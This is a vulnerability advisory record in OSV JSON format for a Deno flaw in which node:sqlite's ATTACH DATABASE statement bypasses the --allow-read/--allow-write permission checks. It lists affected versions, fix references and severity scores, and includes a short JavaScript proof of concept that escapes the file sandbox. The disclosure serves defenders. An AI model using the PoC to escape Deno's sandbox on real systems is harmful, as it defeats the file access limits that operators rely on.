{"id":"GHSA-8vxj-4cph-c596","summary":"Deno has --allow-read / --allow-write permission bypass in `node:sqlite`","details":"## Summary\n\nIt is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```","aliases":["CVE-2025-48935","RUSTSEC-2025-0138"],"modified":"2026-02-03T03:15:55.367476Z","published":"2025-06-04T21:22:27Z","database_specific":{"nvd_published_at":"2025-06-04T20:15:24Z","cwe_ids":["CWE-863"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-06-04T21:22:27Z"},"references":[{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48935"},{"type":"WEB","url":"https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2025-0138.html"}],"affected":[{"package":{"name":"deno","ecosystem":"crates.io","purl":"pkg:cargo/deno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.2.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-8vxj-4cph-c596/GHSA-8vxj-4cph-c596.json"}},{"package":{"name":"deno_node","ecosystem":"crates.io","purl":"pkg:cargo/deno_node"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.129.0"},{"fixed":"0.134.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-8vxj-4cph-c596/GHSA-8vxj-4cph-c596.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}